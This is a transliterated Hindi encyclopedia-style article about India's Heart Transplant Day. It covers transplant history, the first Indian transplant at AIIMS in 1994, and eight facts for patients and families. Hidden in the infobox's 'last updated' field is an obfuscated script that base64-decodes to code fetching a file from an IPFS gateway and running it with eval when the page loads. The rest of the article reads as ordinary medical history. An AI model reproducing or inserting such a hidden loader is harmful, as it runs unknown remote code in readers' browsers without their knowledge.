हृदय प्रत्यारोपण दिवस
hriday pratyaropan divas
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| vivaran | 'hriday pratyaropan divas' bharat mean pratyek varsh 3 agast ko manaya jata hai. is samay duniyabhar mean har sal karib 3,500 hridayoan ka pratyaropan kiya ja raha hai. sabase jyada pratyaropan amerika mean kie ja rahe haian. |
| pratham pratyaropan | 3 disanbar, 1967, kaipataun, dakshin aphrika |
| bharat mean pratham pratyaropan | 3 agast, 1994, akhil bharatiy ayurvijnan sansthan, nee dilli |
| sarjan | pi. venugopal |
| vyakti (rogi) | deviram |
| vishesh | tatkalin pradhanamantri atal bihari vajapeyi dvara 3 agast ko hriday pratyaropan divas ghoshit kiya gaya tha. |
| any janakari | bharat mean pratham hriday pratyaropan sarjari deviram namak shakhs ki gee thi. sarjari ke bad 15 sal tak vah jivit rahe. |
| adyatan | 13:51, 12 julaee 2023 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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hriday pratyaropan divas (aangrezi: Heart Transplant Day) bharat mean pratyek varsh 3 agast ko manaya jata hai. bharat mean hriday pratyaropan ke prayas to bahut pahale se chalate rahe, lekin pahala saphal hriday pratyaropan 3 agast, 1994 ko hua tha. isilie is b di upalabdhi ko dekhate hue har sal 3 agast ko hi bharat mean hriday pratyaropan divas manaya jata hai. yah pratyarpan bharat ke mashahoor hriday rog visheshajn pi. venugopal ki aguaee mean bharatiy chikitsakoan ki tim ne saphalatapoorvak kiya tha.
itihas
- ameriki sarjan n aaurman samve ne pahala saphal hriday pratyaropan ek kutte ka kiya tha. kailiphorniya ke stenaphord yoonivarsiti mean yah pratyaropan 1958 mean kiya gaya tha. isake bad unhoanne kee kuttoan ke hriday ka kamayab pratyaropan kiya. sambe ne hriday pratyaropan ki takanik vikasit ki jisaka age chalakar kee sarjanoan ne istemal kiya.
- 3 disanbar 1967 ko dakshin aphrika ke kaipataun mean pahala hriday pratyaropan kiya gaya. dakshin aphrika ke sarjan kristiyan barnad ne is sarjari ko saphalatapoorvak aanjam diya. kristiyan barnad ki tim mean 30 log shamil the aur hriday pratyaropan karane mean use 9 ghante ka vakt laga. barnad ne n aaurman samve dvara vikasit takanik ka istemal kiya tha. halaanki 1905 mean bhi manav hriday pratyaropan ki koshish ki gee thi lekin yah kamayab nahian ho paee.
- pahala manaviy hriday pratyaropan 53 sal ke luis vashakaanskaee namak marij ka kiya gaya. unake hriday ne kam karana band kar diya tha aur vah jiandagi aur maut se joojh rahe the. unamean 25 sal ki denis daraval ka hriday pratyaropit kiya tha. ek kar durghatana mean denis ke dimag mean ganbhir chotean aee thian aur vah bren ded ho gee thian. denis doosaroan ki madad karane mean yakin karati thian isalie pita edavard daraval ne apani beti ke aangadan karane ka nirnay liya tha. denis ki kidani ne das sal ke bachche ki bhi jan bachaee thi.
- hriday pratyaropan ke bad marij luis ke pahale shabd the, “maian ab bhi jivit hooan.” nimoniya ke karan hriday pratyaropan ke 18 din bad luis ki maut ho gee. d aauktar kristiyan barnad ke doosare marij philip blaeebarg karib do sal tak jivit rahe. shuruat mean jin marijoan ka hriday pratyaropan kiya gaya, ve adhik samay tak jivit nahian rah pae.
- hriday pratyaropan karane vale marijoan ki lanbi ayu n hone ke karan isamean kami aee. 1968 mean jahaan duniyabhar mean 99 hriday pratyaropan kie ge, vahian 1969 mean 47, 1970 mean 17 aur 1971 mean 9 hriday pratyaropan hi ho pae. isake bad visheshajnoan ne maang ki ki is kshetr mean aur shodh ki jaroorat hai.[1]
bharat mean hriday pratyarpan
bharat mean pahala hriday pratyarpan 3 agast, 1994 ko dilli sthit 'akhil bharatiy ayurvijnan sansthan' mean sarjan pi. venugopal ne kiya tha. is saphal sarjari mean 20 sarjan ne yogadan diya aur 59 minat mean yah sarjari ki gee. yah sarjari deviram namak shakhs ki gee thi. sarjari ke bad 15 sal tak vah jivit rahe. isase pahale hriday pratyaropan ke lie videsh jana p data tha.
tatkalin pradhanamantri atal bihari vajapeyi dvara 3 agast ko hriday pratyaropan divas ghoshit kiya gaya tha. unhoanne akhil bharatiy ayurvijnan sansthan (ems), nee dilli mean pahale kie ge pahale hriday pratyaropan ke avasar par res kors rod sthit apane avas par ayojit ek samaroh mean yah ghoshana ki thi. unhoanne yah bhi kaha tha ki 'ems mean aaurgan ritrival baiankiang sangathan ab ek rashtriy suvidha hogi'. unhoanne kaha tha ki 'ye donoan phaisale desh mean hriday pratyaropan ko badhava dene mean kaphi madadagar sabit hoange'.
ath sabase mahatvapoorn batean
hriday pratyaropan prakriya mean rogi ke kshatigrast hriday ko data ke svasth hriday se badal diya jata hai. data ya to mrit vyakti ho sakata hai ya rogi jisaka mastishk mar chuka ho. nissandeh, hriday pane ke lie data ke parivar ki sahamati ki avashyakata hogi. yah koee chhoti sarjari nahian hai. isake sath bahut si chizean ati haian. isilie logoan ke man mean kee mithak aur jijnasaean haian. hriday pratyaropan ke bare mean ath sabase mahatvapoorn batean haian jo avashy janani chahie.
- hriday pratyaropan ke lie umr koee badha nahian hai
hriday pratyaropan ke lie umr ki koee sima nahian hai. yahaan tak ki chhote bachche bhi hriday rog se pi dit ho sakate haian aur unhean hriday pratyaropan ki avashyakata ho sakati hai. 70 ya 80 ke dashak jaise budhape mean log bhi yah sarjari karate haian. bis ya tis ke dashak ke logoan ki tarah, yuva pidhi bhi hriday pratyaropan sarjari se guzari hai. isalie hriday pratyaropan ke lie koee vishisht ayu manadand nahian haian.[2]
- traansaplaant ke bad ji sakate haian samany jivan-
sabase aham saval yah hai ki kya traansaplaant ke bad marij samany rahega? pichhale kuchh varshoan mean hriday pratyaropan sarjari ke bad jivit rahane ki sanbhavana mean sudhar hua hai. mahila bachchoan ko janm de sakati haian, amataur par apane karyalay mean kam kar sakati haian, chhuttiyoan par ja sakati haian aur apani ichchhanusar kuchh bhi kar sakati haian. tho da savadhan rahana hoga ki jyada mehanat n karean.
- data ki pichhali bimari se koee phark nahian p data
yadi hriday ka data kisi ghatak bimari se pi dit tha, to isase tab tak koee phark nahian p data jab tak ki usaka hriday svasth n ho jae. ap usaka dil udhar le sakate haian, bhale hi use kidani ki samasya ho, vayaral bimari ho ya hriday rog ke alava koee any bimari ho.
- pratyaropan ke bad dekhabhal svasth jivan ki j d hai
pratyaropan ke bad pahale chhah mahinoan tak rogi tho da najuk hota hai. isalie unhean atirikt dekhabhal aur nigarani ki avashyakata hoti hai. ek vishesh ahar, niyamit jaanch, davaean, har chiz par nazar rakhani hogi. kuchh davaean aisi hoangi jo jivan bhar chalati raheangi. isalie apako is bat ka dhyan rakhana hoga ki ap inhean samay-samay par apane priyajanoan ko dete rahean.
- ek se adhik aang pratyaropan sanbhav hai
hriday pratyaropan ke bahut se rogiyoan ki kidani bhi kharab ho jati hai. isalie, chikitsa udyog do ya do se adhik aangoan ko pratyaropit karane ki anumati deta hai. sabase pahale hriday ka pratyaropan kiya jata hai aur ek-do din bad doosara aang pratyaropit kiya jata hai.
- keval sharirik dekhabhal hi paryapt nahian hai
yad rakhean ki ek marij ko hriday pratyaropan sarjari se gujarana p da, kyoanki vah atyadhik dard mean tha. beshak, us dard ne use n keval sharirik roop se balki manasik roop se bhi vinashakari sthiti mean chho d diya hai. isalie apane priyajanoan ko manasik roop se samarthan dena param kartavy ban jata hai. ve dhire-dhire apane sharirik dard se ubar jaeange, lekin manasik roop se unaki sthiti mean sudhar karana apaka kartavy banata hai.[2]
- har kisi ki pratirodh shakti alag-alag hoti hai
yah tathy ki kisi aur ka dil dala jata hai, sharir ko badal deta hai. ne dil ke prati har kisi ka pratirodh alag-alag hota hai. pratyek rogi ki yatra is bat se bhinn hoti hai ki unaka sharir ne hriday par kaise pratikriya karata hai. isalie, apako kisi aur ki hriday pratyaropan yatra se prabhavit nahian hona chahie. kuchh sharir ne hriday ko turant svikar kar lete haian, jabaki kuchh ise kabhi svikar nahian karate.
- d aauktar keval hriday pratyaropan par vichar kar sakate haian yadi any sabhi upachar viphal ho ge hoan
bhale hi kisi any upachar ya therepi ke madhyam se asha ki tho di si kiran ho, d aauktar pratyaropan ke lie nahian jaeange. isake bajay, jab koee any vikalp nahian bachata to d aauktar is upay ko chunate haian aur keval ek d aauktar hi isaka nirnay nahian karega, balki hriday pratyaropan sarjari ke lie age badhane ke lie do ya do se adhik sahamati ki avashyakata hogi.
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tika tippani aur sandarbh
- ↑ hriday pratyaropan ke 50 sal (hiandi) downtoearth.org.in. abhigaman tithi: 12 julaee, 2023.
- ↑ 2.0 2.1 hriday pratyaropan ke bare mean janane yogy 8 batean (hiandi) aimsindia.com. abhigaman tithi: 12 julaee, 2023.
sanbandhit lekh
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varnamala kramanusar lekh khoj
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